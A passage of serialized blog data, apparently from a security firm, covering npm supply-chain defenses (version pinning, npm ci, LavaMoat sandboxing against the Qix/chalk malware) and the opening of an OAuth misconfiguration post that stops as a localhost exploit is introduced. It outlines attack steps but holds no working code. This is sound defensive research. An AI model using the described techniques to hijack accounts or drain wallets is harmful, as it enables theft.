\"2.11.0\"\n",[100796],{"type":23,"tag":154,"props":100797,"children":100798},{"__ignoreMap":7},[100799,100820,100841,100862],{"type":23,"tag":504,"props":100800,"children":100801},{"class":5016,"line":5017},[100802,100807,100811,100816],{"type":23,"tag":504,"props":100803,"children":100804},{"style":6297},[100805],{"type":29,"value":100806},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":504,"props":100808,"children":100809},{"style":5058},[100810],{"type":29,"value":17378},{"type":23,"tag":504,"props":100812,"children":100813},{"style":6297},[100814],{"type":29,"value":100815},"\"1.23.1\"",{"type":23,"tag":504,"props":100817,"children":100818},{"style":5058},[100819],{"type":29,"value":5557},{"type":23,"tag":504,"props":100821,"children":100822},{"class":5016,"line":4868},[100823,100828,100832,100837],{"type":23,"tag":504,"props":100824,"children":100825},{"style":6297},[100826],{"type":29,"value":100827},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":504,"props":100829,"children":100830},{"style":5058},[100831],{"type":29,"value":17378},{"type":23,"tag":504,"props":100833,"children":100834},{"style":6297},[100835],{"type":29,"value":100836},"\"8.3.0\"",{"type":23,"tag":504,"props":100838,"children":100839},{"style":5058},[100840],{"type":29,"value":5557},{"type":23,"tag":504,"props":100842,"children":100843},{"class":5016,"line":4876},[100844,100849,100853,100858],{"type":23,"tag":504,"props":100845,"children":100846},{"style":6297},[100847],{"type":29,"value":100848},"\"@react-native-community/netinfo\"",{"type":23,"tag":504,"props":100850,"children":100851},{"style":5058},[100852],{"type":29,"value":17378},{"type":23,"tag":504,"props":100854,"children":100855},{"style":6297},[100856],{"type":29,"value":100857},"\"11.4.1\"",{"type":23,"tag":504,"props":100859,"children":100860},{"style":5058},[100861],{"type":29,"value":5557},{"type":23,"tag":504,"props":100863,"children":100864},{"class":5016,"line":5099},[100865,100870,100874],{"type":23,"tag":504,"props":100866,"children":100867},{"style":6297},[100868],{"type":29,"value":100869},"\"@react-native-picker/picker\"",{"type":23,"tag":504,"props":100871,"children":100872},{"style":5058},[100873],{"type":29,"value":17378},{"type":23,"tag":504,"props":100875,"children":100876},{"style":6297},[100877],{"type":29,"value":100878},"\"2.11.0\"\n",{"type":23,"tag":320,"props":100880,"children":100882},{"id":100881},"_2-use-npm-ci",[100883,100885],{"type":29,"value":100884},"2. Use ",{"type":23,"tag":154,"props":100886,"children":100888},{"className":100887},[],[100889],{"type":29,"value":100890},"npm ci",{"type":23,"tag":32,"props":100892,"children":100893},{},[100894,100899,100901,100907,100909,100914],{"type":23,"tag":154,"props":100895,"children":100897},{"className":100896},[],[100898],{"type":29,"value":100890},{"type":29,"value":100900}," uses the dependency versions from ",{"type":23,"tag":154,"props":100902,"children":100904},{"className":100903},[],[100905],{"type":29,"value":100906},"package-lock.json",{"type":29,"value":100908}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":154,"props":100910,"children":100912},{"className":100911},[],[100913],{"type":29,"value":100776},{"type":29,"value":100915}," when adding a new package or updating an existing one.",{"type":23,"tag":320,"props":100917,"children":100919},{"id":100918},"_3-implement-lavamoat",[100920,100922],{"type":29,"value":100921},"3. Implement ",{"type":23,"tag":68,"props":100923,"children":100926},{"href":100924,"rel":100925},"https://github.com/LavaMoat/LavaMoat/tree/main",[72],[100927],{"type":23,"tag":38,"props":100928,"children":100929},{},[100930],{"type":29,"value":100931},"Lavamoat",{"type":23,"tag":32,"props":100933,"children":100934},{},[100935],{"type":29,"value":100936},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":32,"props":100938,"children":100939},{},[100940],{"type":29,"value":100941},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":4743,"props":100943,"children":100945},{"code":100944,"language":36053,"meta":7,"className":36051,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[100946],{"type":23,"tag":154,"props":100947,"children":100948},{"__ignoreMap":7},[100949,100961,100973,100984,101000,101007,101014,101026,101037,101057,101073,101080,101091,101111,101127,101134,101141],{"type":23,"tag":504,"props":100950,"children":100951},{"class":5016,"line":5017},[100952,100957],{"type":23,"tag":504,"props":100953,"children":100954},{"style":6297},[100955],{"type":29,"value":100956},"\"resources\"",{"type":23,"tag":504,"props":100958,"children":100959},{"style":5058},[100960],{"type":29,"value":39079},{"type":23,"tag":504,"props":100962,"children":100963},{"class":5016,"line":4868},[100964,100969],{"type":23,"tag":504,"props":100965,"children":100966},{"style":5041},[100967],{"type":29,"value":100968},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":504,"props":100970,"children":100971},{"style":5058},[100972],{"type":29,"value":39079},{"type":23,"tag":504,"props":100974,"children":100975},{"class":5016,"line":4876},[100976,100980],{"type":23,"tag":504,"props":100977,"children":100978},{"style":5041},[100979],{"type":29,"value":39087},{"type":23,"tag":504,"props":100981,"children":100982},{"style":5058},[100983],{"type":29,"value":39079},{"type":23,"tag":504,"props":100985,"children":100986},{"class":5016,"line":5099},[100987,100992,100996],{"type":23,"tag":504,"props":100988,"children":100989},{"style":5041},[100990],{"type":29,"value":100991},"        \"TextEncoder\"",{"type":23,"tag":504,"props":100993,"children":100994},{"style":5058},[100995],{"type":29,"value":17378},{"type":23,"tag":504,"props":100997,"children":100998},{"style":5030},[100999],{"type":29,"value":39248},{"type":23,"tag":504,"props":101001,"children":101002},{"class":5016,"line":5203},[101003],{"type":23,"tag":504,"props":101004,"children":101005},{"style":5058},[101006],{"type":29,"value":14710},{"type":23,"tag":504,"props":101008,"children":101009},{"class":5016,"line":5308},[101010],{"type":23,"tag":504,"props":101011,"children":101012},{"style":5058},[101013],{"type":29,"value":27434},{"type":23,"tag":504,"props":101015,"children":101016},{"class":5016,"line":5336},[101017,101022],{"type":23,"tag":504,"props":101018,"children":101019},{"style":5041},[101020],{"type":29,"value":101021},"    \"@ethereumjs/util\"",{"type":23,"tag":504,"props":101023,"children":101024},{"style":5058},[101025],{"type":29,"value":39079},{"type":23,"tag":504,"props":101027,"children":101028},{"class":5016,"line":5349},[101029,101033],{"type":23,"tag":504,"props":101030,"children":101031},{"style":5041},[101032],{"type":29,"value":39087},{"type":23,"tag":504,"props":101034,"children":101035},{"style":5058},[101036],{"type":29,"value":39079},{"type":23,"tag":504,"props":101038,"children":101039},{"class":5016,"line":5367},[101040,101045,101049,101053],{"type":23,"tag":504,"props":101041,"children":101042},{"style":5041},[101043],{"type":29,"value":101044},"        \"console.warn\"",{"type":23,"tag":504,"props":101046,"children":101047},{"style":5058},[101048],{"type":29,"value":17378},{"type":23,"tag":504,"props":101050,"children":101051},{"style":5030},[101052],{"type":29,"value":513},{"type":23,"tag":504,"props":101054,"children":101055},{"style":5058},[101056],{"type":29,"value":5557},{"type":23,"tag":504,"props":101058,"children":101059},{"class":5016,"line":5388},[101060,101065,101069],{"type":23,"tag":504,"props":101061,"children":101062},{"style":5041},[101063],{"type":29,"value":101064},"        \"fetch\"",{"type":23,"tag":504,"props":101066,"children":101067},{"style":5058},[101068],{"type":29,"value":17378},{"type":23,"tag":504,"props":101070,"children":101071},{"style":5030},[101072],{"type":29,"value":39248},{"type":23,"tag":504,"props":101074,"children":101075},{"class":5016,"line":5397},[101076],{"type":23,"tag":504,"props":101077,"children":101078},{"style":5058},[101079],{"type":29,"value":39256},{"type":23,"tag":504,"props":101081,"children":101082},{"class":5016,"line":5649},[101083,101087],{"type":23,"tag":504,"props":101084,"children":101085},{"style":5041},[101086],{"type":29,"value":39264},{"type":23,"tag":504,"props":101088,"children":101089},{"style":5058},[101090],{"type":29,"value":39079},{"type":23,"tag":504,"props":101092,"children":101093},{"class":5016,"line":5666},[101094,101099,101103,101107],{"type":23,"tag":504,"props":101095,"children":101096},{"style":5041},[101097],{"type":29,"value":101098},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":504,"props":101100,"children":101101},{"style":5058},[101102],{"type":29,"value":17378},{"type":23,"tag":504,"props":101104,"children":101105},{"style":5030},[101106],{"type":29,"value":513},{"type":23,"tag":504,"props":101108,"children":101109},{"style":5058},[101110],{"type":29,"value":5557},{"type":23,"tag":504,"props":101112,"children":101113},{"class":5016,"line":5683},[101114,101119,101123],{"type":23,"tag":504,"props":101115,"children":101116},{"style":5041},[101117],{"type":29,"value":101118},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":504,"props":101120,"children":101121},{"style":5058},[101122],{"type":29,"value":17378},{"type":23,"tag":504,"props":101124,"children":101125},{"style":5030},[101126],{"type":29,"value":39248},{"type":23,"tag":504,"props":101128,"children":101129},{"class":5016,"line":5696},[101130],{"type":23,"tag":504,"props":101131,"children":101132},{"style":5058},[101133],{"type":29,"value":14710},{"type":23,"tag":504,"props":101135,"children":101136},{"class":5016,"line":5705},[101137],{"type":23,"tag":504,"props":101138,"children":101139},{"style":5058},[101140],{"type":29,"value":5403},{"type":23,"tag":504,"props":101142,"children":101143},{"class":5016,"line":5728},[101144],{"type":23,"tag":504,"props":101145,"children":101146},{"style":5058},[101147],{"type":29,"value":5965},{"type":23,"tag":32,"props":101149,"children":101150},{},[101151,101153,101159,101161,101167,101168,101173,101175,101181,101182,101188],{"type":29,"value":101152},"In this example, it restricts the ",{"type":23,"tag":154,"props":101154,"children":101156},{"className":101155},[],[101157],{"type":29,"value":101158},"@ethereumjs/util",{"type":29,"value":101160}," package to use only ",{"type":23,"tag":154,"props":101162,"children":101164},{"className":101163},[],[101165],{"type":29,"value":101166},"console.warn",{"type":29,"value":4478},{"type":23,"tag":154,"props":101169,"children":101171},{"className":101170},[],[101172],{"type":29,"value":36150},{"type":29,"value":101174}," functions, and to include only ",{"type":23,"tag":154,"props":101176,"children":101178},{"className":101177},[],[101179],{"type":29,"value":101180},"@ethereumjs/rlp",{"type":29,"value":4478},{"type":23,"tag":154,"props":101183,"children":101185},{"className":101184},[],[101186],{"type":29,"value":101187},"ethereum-cryptography",{"type":29,"value":101189}," packages.",{"type":23,"tag":32,"props":101191,"children":101192},{},[101193],{"type":29,"value":101194},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":32,"props":101196,"children":101197},{},[101198,101200,101206],{"type":29,"value":101199},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":68,"props":101201,"children":101204},{"href":101202,"rel":101203},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[72],[101205],{"type":29,"value":39434},{"type":29,"value":357},{"type":23,"tag":320,"props":101208,"children":101210},{"id":101209},"lavamoat-vs-qix-malware",[101211],{"type":29,"value":101212},"Lavamoat vs Qix Malware",{"type":23,"tag":32,"props":101214,"children":101215},{},[101216,101218,101223],{"type":29,"value":101217},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":154,"props":101219,"children":101221},{"className":101220},[],[101222],{"type":29,"value":99063},{"type":29,"value":101224},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":139,"props":101226,"children":101227},{},[101228,101240,101251,101262],{"type":23,"tag":143,"props":101229,"children":101230},{},[101231,101233,101238],{"type":29,"value":101232},"Replace ",{"type":23,"tag":154,"props":101234,"children":101236},{"className":101235},[],[101237],{"type":29,"value":36150},{"type":29,"value":101239}," function to a custom one",{"type":23,"tag":143,"props":101241,"children":101242},{},[101243,101245],{"type":29,"value":101244},"Access ",{"type":23,"tag":154,"props":101246,"children":101248},{"className":101247},[],[101249],{"type":29,"value":101250},"window.ethereum",{"type":23,"tag":143,"props":101252,"children":101253},{},[101254,101256,101261],{"type":29,"value":101255},"Call original ",{"type":23,"tag":154,"props":101257,"children":101259},{"className":101258},[],[101260],{"type":29,"value":36150},{"type":29,"value":40270},{"type":23,"tag":143,"props":101263,"children":101264},{},[101265],{"type":29,"value":101266},"Plus other actions not relevant here",{"type":23,"tag":32,"props":101268,"children":101269},{},[101270,101272,101278],{"type":29,"value":101271},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":154,"props":101273,"children":101275},{"className":101274},[],[101276],{"type":29,"value":101277},"chalk 5.6.0",{"type":29,"value":101279}," (non-malicious version) it would look like this:",{"type":23,"tag":4743,"props":101281,"children":101283},{"code":101282,"language":36053,"meta":7,"className":36051,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[101284],{"type":23,"tag":154,"props":101285,"children":101286},{"__ignoreMap":7},[101287,101299,101310,101330,101346,101353],{"type":23,"tag":504,"props":101288,"children":101289},{"class":5016,"line":5017},[101290,101295],{"type":23,"tag":504,"props":101291,"children":101292},{"style":6297},[101293],{"type":29,"value":101294},"\"chalk\"",{"type":23,"tag":504,"props":101296,"children":101297},{"style":5058},[101298],{"type":29,"value":39079},{"type":23,"tag":504,"props":101300,"children":101301},{"class":5016,"line":4868},[101302,101306],{"type":23,"tag":504,"props":101303,"children":101304},{"style":5041},[101305],{"type":29,"value":39087},{"type":23,"tag":504,"props":101307,"children":101308},{"style":5058},[101309],{"type":29,"value":39079},{"type":23,"tag":504,"props":101311,"children":101312},{"class":5016,"line":4876},[101313,101318,101322,101326],{"type":23,"tag":504,"props":101314,"children":101315},{"style":5041},[101316],{"type":29,"value":101317},"        \"navigator.userAgent\"",{"type":23,"tag":504,"props":101319,"children":101320},{"style":5058},[101321],{"type":29,"value":17378},{"type":23,"tag":504,"props":101323,"children":101324},{"style":5030},[101325],{"type":29,"value":513},{"type":23,"tag":504,"props":101327,"children":101328},{"style":5058},[101329],{"type":29,"value":5557},{"type":23,"tag":504,"props":101331,"children":101332},{"class":5016,"line":5099},[101333,101338,101342],{"type":23,"tag":504,"props":101334,"children":101335},{"style":5041},[101336],{"type":29,"value":101337},"        \"navigator.userAgentData\"",{"type":23,"tag":504,"props":101339,"children":101340},{"style":5058},[101341],{"type":29,"value":17378},{"type":23,"tag":504,"props":101343,"children":101344},{"style":5030},[101345],{"type":29,"value":39248},{"type":23,"tag":504,"props":101347,"children":101348},{"class":5016,"line":5203},[101349],{"type":23,"tag":504,"props":101350,"children":101351},{"style":5058},[101352],{"type":29,"value":14710},{"type":23,"tag":504,"props":101354,"children":101355},{"class":5016,"line":5308},[101356],{"type":23,"tag":504,"props":101357,"children":101358},{"style":5058},[101359],{"type":29,"value":27434},{"type":23,"tag":32,"props":101361,"children":101362},{},[101363,101365,101371],{"type":29,"value":101364},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":154,"props":101366,"children":101368},{"className":101367},[],[101369],{"type":29,"value":101370},"navigator",{"type":29,"value":357},{"type":23,"tag":32,"props":101373,"children":101374},{},[101375,101377,101383],{"type":29,"value":101376},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":154,"props":101378,"children":101380},{"className":101379},[],[101381],{"type":29,"value":101382},"chalk v5.6.1",{"type":29,"value":101384}," it would fail due to insufficient permissions:",{"type":23,"tag":32,"props":101386,"children":101387},{},[101388],{"type":23,"tag":199,"props":101389,"children":101391},{"alt":201,"src":101390},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":32,"props":101393,"children":101394},{},[101395,101397,101402],{"type":29,"value":101396},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":154,"props":101398,"children":101400},{"className":101399},[],[101401],{"type":29,"value":36150},{"type":29,"value":27521},{"type":23,"tag":4743,"props":101404,"children":101406},{"code":101405},"TypeError#1: Cannot define property fetch, object is not extensible\n",[101407],{"type":23,"tag":154,"props":101408,"children":101409},{"__ignoreMap":7},[101410],{"type":29,"value":101405},{"type":23,"tag":24,"props":101412,"children":101414},{"id":101413},"lavamoat-in-practice",[101415],{"type":29,"value":101416},"Lavamoat In Practice",{"type":23,"tag":32,"props":101418,"children":101419},{},[101420,101422,101429],{"type":29,"value":101421},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":68,"props":101423,"children":101426},{"href":101424,"rel":101425},"https://osec.io/reports/lavamoat_audit_final.pdf",[72],[101427],{"type":29,"value":101428},"see the audit report",{"type":29,"value":161},{"type":23,"tag":32,"props":101431,"children":101432},{},[101433],{"type":29,"value":101434},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":24,"props":101436,"children":101437},{"id":77862},[101438],{"type":29,"value":77865},{"type":23,"tag":32,"props":101440,"children":101441},{},[101442],{"type":29,"value":101443},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":32,"props":101445,"children":101446},{},[101447,101449,101454],{"type":29,"value":101448},"Version pinning and ",{"type":23,"tag":154,"props":101450,"children":101452},{"className":101451},[],[101453],{"type":29,"value":100890},{"type":29,"value":101455}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":7410,"props":101457,"children":101458},{},[101459],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":101461},[101462,101465,101466,101475,101476],{"id":99078,"depth":4868,"text":99081,"children":101463},[101464],{"id":100713,"depth":4876,"text":100716},{"id":100724,"depth":4868,"text":100727},{"id":100740,"depth":4868,"text":100743,"children":101467},[101468,101470,101472,101474],{"id":100751,"depth":4876,"text":101469},"1. Version pinning in package.json",{"id":100881,"depth":4876,"text":101471},"2. Use npm ci",{"id":100918,"depth":4876,"text":101473},"3. Implement Lavamoat",{"id":101209,"depth":4876,"text":101212},{"id":101413,"depth":4868,"text":101416},{"id":77862,"depth":4868,"text":77865},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":101481,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101482,"description":101483,"date":101484,"author":101485,"image":101486,"isFeatured":15,"onBlogPage":15,"tags":101488,"body":101491,"_type":4892,"_id":103822,"_source":4894,"_file":103823,"_stem":103824,"_extension":4897},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[33256,11],{"src":101487,"width":99047,"height":14},"/posts/oauth-misconfigurations/title.png",[101489,101490],"oAuth","exchanges",{"type":20,"children":101492,"toc":103809},[101493,101499,101504,101510,101530,101536,101541,101554,101559,101567,101581,101590,101599,101613,101621,101632,101692,101698,101710,101759,101765,101770,101783,101790,101801,101821,101840,101861,101867,101880,101885,101891,101910,102535,102540,102553,103414,103419,103424,103430,103435,103441,103446,103459,103499,103505,103518,103523,103556,103561,103566,103591,103596,103608,103765,103770,103774,103786,103791,103795,103800,103805],{"type":23,"tag":24,"props":101494,"children":101496},{"id":101495},"exploiting-oauth",[101497],{"type":29,"value":101498},"Exploiting OAuth",{"type":23,"tag":32,"props":101500,"children":101501},{},[101502],{"type":29,"value":101503},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":320,"props":101505,"children":101507},{"id":101506},"google-authentication-flows",[101508],{"type":29,"value":101509},"Google Authentication Flows",{"type":23,"tag":32,"props":101511,"children":101512},{},[101513,101515,101521,101523,101528],{"type":29,"value":101514},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":154,"props":101516,"children":101518},{"className":101517},[],[101519],{"type":29,"value":101520},"postMessage",{"type":29,"value":101522}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":154,"props":101524,"children":101526},{"className":101525},[],[101527],{"type":29,"value":71829},{"type":29,"value":101529}," to send the token back to the RP.",{"type":23,"tag":20944,"props":101531,"children":101533},{"id":101532},"gsi-new-flow",[101534],{"type":29,"value":101535},"GSI (New Flow)",{"type":23,"tag":32,"props":101537,"children":101538},{},[101539],{"type":29,"value":101540},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":1022,"props":101542,"children":101543},{},[101544,101549],{"type":23,"tag":143,"props":101545,"children":101546},{},[101547],{"type":29,"value":101548},"Using FedCM API",{"type":23,"tag":143,"props":101550,"children":101551},{},[101552],{"type":29,"value":101553},"Without using FedCM API",{"type":23,"tag":32,"props":101555,"children":101556},{},[101557],{"type":29,"value":101558},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":32,"props":101560,"children":101561},{},[101562],{"type":23,"tag":38,"props":101563,"children":101564},{},[101565],{"type":29,"value":101566},"FedCM Method",{"type":23,"tag":32,"props":101568,"children":101569},{},[101570,101572,101579],{"type":29,"value":101571},"The FedCM method basically follows this ",{"type":23,"tag":68,"props":101573,"children":101576},{"href":101574,"rel":101575},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[72],[101577],{"type":29,"value":101578},"user experience",{"type":29,"value":101580},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":32,"props":101582,"children":101583},{},[101584,101586],{"type":29,"value":101585},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":199,"props":101587,"children":101589},{"alt":201,"src":101588},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":32,"props":101591,"children":101592},{},[101593,101595],{"type":29,"value":101594},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":199,"props":101596,"children":101598},{"alt":201,"src":101597},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":32,"props":101600,"children":101601},{},[101602,101604,101611],{"type":29,"value":101603},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":68,"props":101605,"children":101608},{"href":101606,"rel":101607},"https://github.com/w3c-fedid/FedCM/issues/429",[72],[101609],{"type":29,"value":101610},"FedCM auto-reauthentication",{"type":29,"value":101612},", which has certain preconditions that must be met.",{"type":23,"tag":32,"props":101614,"children":101615},{},[101616],{"type":23,"tag":38,"props":101617,"children":101618},{},[101619],{"type":29,"value":101620},"Non-FedCM Method",{"type":23,"tag":32,"props":101622,"children":101623},{},[101624,101626,101631],{"type":29,"value":101625},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":154,"props":101627,"children":101629},{"className":101628},[],[101630],{"type":29,"value":101520},{"type":29,"value":6533},{"type":23,"tag":139,"props":101633,"children":101634},{},[101635,101640,101664,101669,101680],{"type":23,"tag":143,"props":101636,"children":101637},{},[101638],{"type":29,"value":101639},"The user clicks the sign in button",{"type":23,"tag":143,"props":101641,"children":101642},{},[101643,101645,101651,101653,101658,101659],{"type":29,"value":101644},"RP opens a popup/iframe to ",{"type":23,"tag":68,"props":101646,"children":101649},{"href":101647,"rel":101648},"https://accounts.google.com/o/oauth2/v2/auth",[72],[101650],{"type":29,"value":101647},{"type":29,"value":101652}," with some important parameters like ",{"type":23,"tag":154,"props":101654,"children":101656},{"className":101655},[],[101657],{"type":29,"value":71661},{"type":29,"value":4478},{"type":23,"tag":154,"props":101660,"children":101662},{"className":101661},[],[101663],{"type":29,"value":42192},{"type":23,"tag":143,"props":101665,"children":101666},{},[101667],{"type":29,"value":101668},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":143,"props":101670,"children":101671},{},[101672,101674],{"type":29,"value":101673},"They get redirected to ",{"type":23,"tag":68,"props":101675,"children":101678},{"href":101676,"rel":101677},"https://accounts.google.com/gsi/transform",[72],[101679],{"type":29,"value":101676},{"type":23,"tag":143,"props":101681,"children":101682},{},[101683,101685,101690],{"type":29,"value":101684},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":154,"props":101686,"children":101688},{"className":101687},[],[101689],{"type":29,"value":101520},{"type":29,"value":101691}," (after some SYN/ACK messages)",{"type":23,"tag":20944,"props":101693,"children":101695},{"id":101694},"oauth-20-old-flow",[101696],{"type":29,"value":101697},"OAuth 2.0 Old Flow",{"type":23,"tag":32,"props":101699,"children":101700},{},[101701,101703,101708],{"type":29,"value":101702},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":154,"props":101704,"children":101706},{"className":101705},[],[101707],{"type":29,"value":71829},{"type":29,"value":101709}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":139,"props":101711,"children":101712},{},[101713,101717,101738,101742],{"type":23,"tag":143,"props":101714,"children":101715},{},[101716],{"type":29,"value":101639},{"type":23,"tag":143,"props":101718,"children":101719},{},[101720,101721,101726,101727,101732,101733],{"type":29,"value":101644},{"type":23,"tag":68,"props":101722,"children":101724},{"href":101647,"rel":101723},[72],[101725],{"type":29,"value":101647},{"type":29,"value":101652},{"type":23,"tag":154,"props":101728,"children":101730},{"className":101729},[],[101731],{"type":29,"value":71661},{"type":29,"value":4478},{"type":23,"tag":154,"props":101734,"children":101736},{"className":101735},[],[101737],{"type":29,"value":71829},{"type":23,"tag":143,"props":101739,"children":101740},{},[101741],{"type":29,"value":101668},{"type":23,"tag":143,"props":101743,"children":101744},{},[101745,101746,101751,101753],{"type":29,"value":101673},{"type":23,"tag":154,"props":101747,"children":101749},{"className":101748},[],[101750],{"type":29,"value":71829},{"type":29,"value":101752}," with the token in the query parameters or ",{"type":23,"tag":154,"props":101754,"children":101756},{"className":101755},[],[101757],{"type":29,"value":101758},"location.hash",{"type":23,"tag":20944,"props":101760,"children":101762},{"id":101761},"different-configurations",[101763],{"type":29,"value":101764},"Different Configurations",{"type":23,"tag":32,"props":101766,"children":101767},{},[101768],{"type":29,"value":101769},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":1022,"props":101771,"children":101772},{},[101773,101778],{"type":23,"tag":143,"props":101774,"children":101775},{},[101776],{"type":29,"value":101777},"Authorized origins",{"type":23,"tag":143,"props":101779,"children":101780},{},[101781],{"type":29,"value":101782},"Authorized redirect URIs",{"type":23,"tag":32,"props":101784,"children":101785},{},[101786],{"type":23,"tag":199,"props":101787,"children":101789},{"alt":201,"src":101788},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":32,"props":101791,"children":101792},{},[101793,101795,101800],{"type":29,"value":101794},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":154,"props":101796,"children":101798},{"className":101797},[],[101799],{"type":29,"value":71661},{"type":29,"value":357},{"type":23,"tag":32,"props":101802,"children":101803},{},[101804,101806,101812,101814,101819],{"type":29,"value":101805},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":154,"props":101807,"children":101809},{"className":101808},[],[101810],{"type":29,"value":101811},"/oauth2/v2/auth",{"type":29,"value":101813}," by checking the ",{"type":23,"tag":154,"props":101815,"children":101817},{"className":101816},[],[101818],{"type":29,"value":42192},{"type":29,"value":101820}," query parameter.",{"type":23,"tag":32,"props":101822,"children":101823},{},[101824,101826,101831,101833,101838],{"type":29,"value":101825},"In the old flow, the ",{"type":23,"tag":154,"props":101827,"children":101829},{"className":101828},[],[101830],{"type":29,"value":71829},{"type":29,"value":101832}," parameter passed in the ",{"type":23,"tag":154,"props":101834,"children":101836},{"className":101835},[],[101837],{"type":29,"value":101811},{"type":29,"value":101839}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":32,"props":101841,"children":101842},{},[101843,101845,101850,101852,101859],{"type":29,"value":101844},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":154,"props":101846,"children":101848},{"className":101847},[],[101849],{"type":29,"value":71829},{"type":29,"value":101851}," validation. To execute this flow, you need to specify ",{"type":23,"tag":68,"props":101853,"children":101856},{"href":101854,"rel":101855},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[72],[101857],{"type":29,"value":101858},"login_uri",{"type":29,"value":101860}," while using the SDK.",{"type":23,"tag":320,"props":101862,"children":101864},{"id":101863},"localhost-exploit",[101865],{"type":29,"value":101866},"Localhost Exploit",{"type":23,"tag":32,"props":101868,"children":101869},{},[101870,101872,101878],{"type":29,"value":101871},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":154,"props":101873,"children":101875},{"className":101874},[],[101876],{"type":29,"value":101877},"localhost",{"type":29,"value":101879}," origin because it is considered trusted for local testing.",{"type":23,"tag":32,"props":101881,"children":101882},{},[101883],{"type":29,"value":101884},"Actually, this is partially true, as it depends 